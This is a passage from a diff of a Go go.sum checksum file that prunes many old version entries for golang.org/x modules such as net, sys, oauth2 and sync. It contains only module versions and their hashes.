h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.1/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.4.2/go.mod h1:s0Qsj1ACt9ePp/hMypM3fl4fZqREWJwdYDEqhRiZZUA= -golang.org/x/mod v0.5.0/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/mod v0.5.1/go.mod h1:5OXOZSfqPIIbmVBIIKWRFfZjPR0E5r58TLhUjH0a2Ro= -golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= -golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.9.0 h1:KENHtAZL2y3NLMYZeHY9DW8HW8V+kQyJsY/V9JlKvCs= golang.org/x/mod v0.9.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/mod v0.10.0 h1:lFO9qtOdlre5W1jxS3r/4szv2/6iXxScdzjoBMXNhYk= -golang.org/x/mod v0.10.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20180724234803-3673e40ba225/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20180826012351-8a410e7b638d/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= golang.org/x/net v0.0.0-20181114220301-adae6a3d119a/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4= @@ -1592,7 +601,6 @@ golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLL golang.org/x/net v0.0.0-20190628185345-da137c7871d7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190724013045-ca1201d0de80/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20190813141303-74dc4d7220e7/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20191209160850-c0dbc17a3553/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200114155413-6afb5195e5aa/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20200202094626-16171245cfb2/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= @@ -1608,42 +616,9 @@ golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81R golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20200822124328-c89045814202/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA= golang.org/x/net v0.0.0-20201021035429-f5854403a974/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201031054903-ff519b6c9102/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201110031124-69a78807bb2b/go.mod h1:sp8m0HH+o8qH0wwXwYZr8TS3Oi6o0r6Gce1SSxlDquU= -golang.org/x/net v0.0.0-20201209123823-ac852fbbde11/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210119194325-5f4716e94777/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= -golang.org/x/net v0.0.0-20210316092652-d523dce5a7f4/go.mod h1:RBQZq4jEuRlivfhVLdyRGr576XBO4/greRjx4P4O3yc= -golang.org/x/net v0.0.0-20210405180319-a5a99cb37ef4/go.mod h1:p54w0d4576C0XHj96bSt6lcn1PtDYWL6XObtHCRCNQM= -golang.org/x/net v0.0.0-20210410081132-afb366fc7cd1/go.mod h1:9tjilg8BloeKEkVJvy7fQ90B1CfIiPueXVOjqfkSzI8= -golang.org/x/net v0.0.0-20210503060351-7fd8e65b6420/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= golang.org/x/net v0.0.0-20210525063256-abc453219eb5/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20210813160813-60bc85c4be6d/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211015210444-4f30a5c0130f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20211216030914-fe4d6282115f/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y= -golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220325170049-de3da57026de/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220412020605-290c469a71a5/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220425223048-2871e0cb64e4/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk= -golang.org/x/net v0.0.0-20220607020251-c690dde0001d/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220617184016-355a448f1bc9/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220624214902-1bab6f366d9e/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= -golang.org/x/net v0.0.0-20220909164309-bea034e7d591/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221012135044-0b7e1fb9d458/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.0.0-20221014081412-f15817d10f9b/go.mod h1:YDH+HFinaLZZlnHAfSS6ZXJJ9M9t4Dl22yv3iI2vPwk= -golang.org/x/net v0.1.0/go.mod h1:Cx3nUiGt4eDBEyega/BKRp+/AlGL8hYe7U9odMt2Cco= -golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= -golang.org/x/net v0.4.0/go.mod h1:MBQ8lrhLObU/6UmLb4fmbmk5OcyYmqtbGd/9yIeKjEE= -golang.org/x/net v0.5.0/go.mod h1:DivGGAXEgPSlEBzxGzZI+ZLohi+xUj054jfeKui00ws= -golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.7.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= -golang.org/x/net v0.8.0/go.mod h1:QVkue5JL9kW//ek3r6jTKnTFis1tRmNAW2P1shuFdJc= -golang.org/x/net v0.9.0/go.mod h1:d48xBJpPfHeWQsugry2m+kC02ZBRGRgulfHnEXEuWns= -golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= -golang.org/x/net v0.14.0/go.mod h1:PpSgVXXLK0OxS0F31C1/tv6XNguvCrnXIDrFMspZIUI= golang.org/x/net v0.15.0 h1:ugBLEUaxABaB5AJqW9enI0ACdci2RUd4eP51NTBvuJ8= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U= @@ -1651,32 +626,7 @@ golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4Iltr golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20191202225959-858c2ad4c8b6/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw= -golang.org/x/oauth2 v0.0.0-20200902213428-5d25da1a8d43/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201109201403-9fd604954f58/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20201208152858-08078c50e5b5/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210218202405-ba52d332ba99/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210220000619-9bb904979d93/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210313182246-cd4f82c27b84/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= golang.org/x/oauth2 v0.0.0-20210514164344-f6687ab2804c/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210628180205-a41e5a781914/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210805134026-6f1e6394065a/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20210819190943-2bc19b11175f/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20211104180415-d3ed0bb246c8/go.mod h1:KelEdhl1UZF7XfJ4dDtk6s++YSgaE7mD/BuKKDLBl4A= -golang.org/x/oauth2 v0.0.0-20220223155221-ee480838109b/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220309155454-6242fa91716a/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220411215720-9780585627b5/go.mod h1:DAh4E804XQdzx2j+YRIaUnCqCV2RuMz24cGBJ5QYIrc= -golang.org/x/oauth2 v0.0.0-20220608161450-d0670ef3b1eb/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= -golang.org/x/oauth2 v0.0.0-20220622183110-fd043fe589d2/go.mod h1:jaDAt6Dkxork7LmZnYtzbRWj0W47D86a3TGe0YHBvmE= -golang.org/x/oauth2 v0.0.0-20220822191816-0ebed06d0094/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20220909003341-f21342109be1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20221006150949-b44042a4b9c1/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.0.0-20221014153046-6fdb5e3db783/go.mod h1:h4gKUeWbJ4rQPri7E0u6Gs4e9Ri2zaLxzw5DI5XGrYg= -golang.org/x/oauth2 v0.4.0/go.mod h1:RznEsdpjGAINPTOF0UH/t+xJ75L18YO3Ho6Pyn+uRec= -golang.org/x/oauth2 v0.5.0/go.mod h1:9/XBHVqLaWO3/BRHs5jbpYCnOZVjj5V0ndyaAM7KB4I= -golang.org/x/oauth2 v0.6.0/go.mod h1:ycmewcwgD4Rpr3eZJLSB4Kyyljb3qDh40vJ8STE5HKw= -golang.org/x/oauth2 v0.7.0/go.mod h1:hPLQkd9LyjfXTiRohC/41GhcFqxisoUQ99sCUOHO9x4= -golang.org/x/oauth2 v0.8.0/go.mod h1:yr7u4HXZRm1R1kBWqr/xKNqewf0plRYoB7sla+BCIXE= -golang.org/x/oauth2 v0.11.0/go.mod h1:LdF7O/8bLR/qWK9DrpXmbHLTouvRHK0SgJl0GmDBchk= golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181108010431-42b317875d0f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= @@ -1688,14 +638,6 @@ golang.org/x/sync v0.0.0-20200317015054-43a5402ce75a/go.mod h1:RxMgew5VJxzue5/jJ golang.org/x/sync v0.0.0-20200625203802-6e8e738ad208/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20201207232520-09787c993a3a/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20210220032951-036812b2e83c/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220601150217-0de741cfad7f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220819030929-7fc1605a5dde/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20220929204114-8fcdb60fdcc0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.2.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sys v0.0.0-20180823144017-11551d06cbcc/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180830151530-49385e6e1522/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20180905080454-ebe1bf3edb33/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20181026203630-95b1ffbd15a5/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= @@ -1713,11 +655,8 @@ golang.org/x/sys v0.0.0-20190606165138-5da285871e9c/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20190624142023-c5567b49c5d0/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190726091711-fc99dfbffb4e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20190813064441-fde4db37ae7a/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190922100055-0a153f010e69/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191001151750-bb3f8db39f24/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191005200804-aed5e4c7ecf9/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20191008105621-543471e840be/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191204072324-ce4227a45e2e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20191228213918-04cbcbbfeed8/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= @@ -1741,80 +680,21 @@ golang.org/x/sys v0.0.0-20200615200032-f1bc736245b1/go.mod h1:h1NjWce9XRLGQEsW7w golang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200803210538-64077c9b5642/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200826173525-f9321e4c35a6/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200905004654-be1d3432aa8f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20201201145000-ef89a241ccb3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210220050731-9a76102bfb43/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210303074136-134d130e1a04/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210304124612-50617c2ba197/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210305230114-8fe3ee5dd75b/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210315160823-c6e025ad8005/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210320140829-1e4c9ba3b0c4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210330210617-4fbd30eecc44/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210403161142-5e06dd20ab57/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210423082822-04245dca01da/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20210510120138-977fb7262007/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210514084401-e8d321eab015/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210603081109-ebe580a85c40/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210603125802-9665404d3644/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210616094352-59db8d763f22/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210806184541-e5e7981a1069/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210816183151-1e6c022a8912/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210823070655-63515b42dcdf/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20210908233432-aa78b53d3365/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20210927094055-39ccf1dd6fa6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211007075335-d3039528d8ac/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211019181941-9d821ace8654/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211124211545-fe61309f8881/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211210111614-af8b64212486/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20211216021012-1d35b9e2eb4e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220114195835-da31bd327af9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220128215802-99c3d69c2c27/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220209214540-3681064d5158/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220227234510-4e6760a101f9/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220319134239-a9b59b0215f8/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220328115105-d36c6a25d886/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220412211240-33da011f77ad/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220502124256-b6088ccd6cba/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220503163025-988cb79eb6c6/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220610221304-9f5ed59c137d/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220615213510-4f61da869c0c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220624220833-87e55d714810/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220728004956-3c1f35247d10/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.0.0-20220829200755-d48e67d00261/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.1.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.2.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.4.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.7.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0 h1:CM0HF96J0hcLAwsHPJZjfdNzs0gftsLfgKt57wWHJ0o= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201117132131-f5c789dd3221/go.mod h1:Nr5EML6q2oocZ2LXRh80K7BxOlk5/8JxuGnuhpl+muw= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= -golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= -golang.org/x/term v0.1.0/go.mod 